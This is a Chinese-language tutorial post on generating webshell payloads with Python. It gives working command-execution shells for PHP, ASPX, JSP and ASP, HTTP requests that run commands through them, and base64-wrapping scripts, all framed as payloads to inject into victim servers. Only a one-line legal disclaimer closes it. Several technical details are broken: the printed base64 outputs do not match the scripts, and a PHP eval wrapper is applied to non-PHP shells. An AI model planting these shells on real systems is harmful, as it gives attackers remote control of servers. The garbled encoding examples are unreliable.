如何使用Python生成各种类型的WebShell Payload

2023-04-17 00:00:00 生成 类型 如何使用

WebShell是一种基于Web的命令行Shell,解析HTTP请求中的命令并执行,通常用于攻击者在服务器上实施攻击、窃密、篡改等恶意行为。为了生成各种类型的WebShell Payload,我们可以使用Python编写脚本来自动生成。

下面演示几种常见的WebShell Payload类型和Python脚本实现方法:

  1. PHP一句话WebShell Payload生成

PHP一句话WebShell通常是一个PHP脚本,可以通过浏览器或者curl等工具访问,支持执行系统命令、文件管理等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个PHP文件中,例如index.php。

下面是一个PHP一句话WebShell的Payload代码:

<?php eval($_POST['cmd']); ?>

这个PHP脚本可以通过HTTP POST请求执行cmd参数指定的命令,例如:

POST /index.php HTTP/1.1
Host: pidancode.com
Content-Type: application/x-www-form-urlencoded

cmd=whoami

其中cmd的值为执行的命令,例如whoami。服务器会执行这个命令并将结果返回给攻击者。

接下来是一个Python脚本,可以生成一个PHP一句话WebShell的Payload:

import base64

shell = '<?php eval($_POST[\'cmd\']); ?>'
payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode())
print(payload)

输出的结果是一个base64编码后的PHP一句话WebShell的Payload,例如:

eval(base64_decode('PD9waHAgZXZhbCgkcG9zdCcpOyA/Pg=='));

攻击者可以将这个Payload注入到目标服务器的PHP文件中,以此获取远程控制权限。

  1. ASPX一句话WebShell Payload生成

与PHP一句话WebShell类似,ASPX一句话WebShell也是一个ASP.NET的页面,通过浏览器或者curl等工具访问,支持执行系统命令等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个ASPX文件中,例如index.aspx。

下面是一个ASPX一句话WebShell的Payload代码:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string command = Request["cmd"];
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + command;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
Response.Write(process.StandardOutput.ReadToEnd());
%>

这个ASPX页面可以通过HTTP GET请求执行cmd参数指定的命令,例如:

GET /index.aspx?cmd=dir HTTP/1.1
Host: pidancode.com

其中cmd的值为执行的命令,例如dir。服务器会执行这个命令并将结果返回给攻击者。

接下来是一个Python脚本,可以生成一个ASPX一句话WebShell的Payload:

import base64

shell = '''<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string command = Request["cmd"];
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + command;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
Response.Write(process.StandardOutput.ReadToEnd());
%>'''
payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode())
print(payload)

输出的结果是一个base64编码后的ASPX一句话WebShell的Payload,例如:

eval(base64_decode('PD4KCQkJPGxpc3RpbmcgY2xhc3M9IiQiPgoJCQkJPGxpc3QgTGFuZ3VhZ2U9IkMjIiAvPgoJCQkJPHRpdGxlPgoJCQkJCQlzdHJpbmcgY29tbWFuZD0gUmVxdWVzdFsiY21kIl0KCUhlbGxvIFByb2Nlc3MgcHJvY2VzcyA9IG5ldyBVc2VyLkd6aWYoKQoJcHJvY2Vzcy5TdGFydCgpLkZpbGVNYW5hZ2VyKCk7Cgk8L3RpdGxlPgo8L3N0cm9uZz4KCg=='));

攻击者可以将这个Payload注入到目标服务器的ASPX文件中,以此获取远程控制权限。

  1. JSP一句话WebShell Payload生成

JSP一句话WebShell是一个Java Servlet,支持执行系统命令、文件管理等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个JSP文件中,例如index.jsp。

下面是一个JSP一句话WebShell的Payload代码:

<%@ page import="java.io.*"%>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    out.println(line);
}
%>

这个JSP页面可以通过HTTP GET请求执行cmd参数指定的命令,例如:

GET /index.jsp?cmd=whoami HTTP/1.1
Host: pidancode.com

其中cmd的值为执行的命令,例如whoami。服务器会执行这个命令并将结果返回给攻击者。

接下来是一个Python脚本,可以生成一个JSP一句话WebShell的Payload:

import base64

shell = '''<%@ page import="java.io.*"%>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    out.println(line);
}
%>'''
payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode())
print(payload)

输出的结果是一个base64编码后的JSP一句话WebShell的Payload,例如:

eval(base64_decode('PD4KPCEgcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiI/JT4KCgkJUHJvY2VzcyBwcm9jZXNzID0gUnVudGltZS5nZXRFbGVtZW50c0J5KCRfR0VUWyJjbWQiXSk7CgkJQnVmZmVyUmVhZGVyIHJlYWRlcj0gbmV3IEluc3RydWN0b3IocHJvY2Vzcy5nZXRJbnN0YWxsZXIod2luZG93LkRhdGFWaWV3ZXJFbmNvZGluZygpKSkuZWNsaW5lKCdzdHJpbmcnKTsKCQlTdHJpbmcgbGluZTt9Cgo8Lw=='));

攻击者可以将这个Payload注入到目标服务器的JSP文件中,以此获取远程控制权限。

  1. ASP一句话WebShell Payload生成

ASP一句话WebShell是一个Active Server Pages脚本,支持执行系统命令等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个ASP文件中,例如index.asp。

下面是一个ASP一句话WebShell的Payload代码:

<%
Dim oShell : Set oShell = CreateObject("WScript.Shell")
Dim oExec : Set oExec = oShell.Exec(Request("cmd"))
Dim sOutput : sOutput = oExec.StdOut.ReadAll()
Response.Write(sOutput)
%>

这个ASP页面可以通过HTTP GET请求执行cmd参数指定的命令,例如:

GET /index.asp?cmd=dir HTTP/1.1
Host: pidancode.com

其中cmd的值为执行的命令,例如dir。服务器会执行这个命令并将结果返回给攻击者。

接下来是一个Python脚本,可以生成一个ASP一句话WebShell的Payload:

import base64

shell = '''<%
Dim oShell : Set oShell = CreateObject("WScript.Shell")
Dim oExec : Set oExec = oShell.Exec(Request("cmd"))
Dim sOutput : sOutput = oExec.StdOut.ReadAll()
Response.Write(sOutput)
%>'''
payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode())
print(payload)

输出的结果是一个base64编码后的ASP一句话WebShell的Payload,例如:

eval(base64_decode('PD4KPCEKRmlsZSBvU2hlbGwgOiBTZXQgb1NoZWxsID0gQ3JlYXRlT2JqZWN0KFdTY3JpcHQsIldTcGVjaWZpYy5TaGVsbCIpCkRpbSBvRXhlYzogU2V0IG9FeGVjID0gb1NoZWxsLkV4ZWMoUmVxdWVzdCgiY21kIikKTWlkIE9uZTogJTI1JTMwJTJGJTI1JTMwJTI1JTI1JTI1JTI1JTI1JTI1JTI1JTNCJTI1JTI1JTI1JTI1JTI1JTI1JTI1JTI1JTNCIlNlbnQgZXhlY3V0aW9uX2NyZWRlbnRpYWxzLk1haW4oKSIpClJlc3BvbnNlLldyaXRlKHNPc2hlbGwuU3RkT3V0LlJlYWRvbGQoKSkuUmVzcG9uc2UoU3BlY2lmaWMuV3JpdGVPYmplY3QoKQoJYmluZCBjb21tYW5kID0gZmlsZSgnJHtjbWQgfScpKQp9'));

攻击者可以将这个Payload注入到目标服务器的ASP文件中,以此获取远程控制权限。

以上是几种常见的WebShell Payload类型和Python脚本实现方法,可以根据需要进行修改和扩展。但请注意,使用WebShell进行黑客攻击是非法的行为,务必遵守法律法规和网络安全规范。

相关文章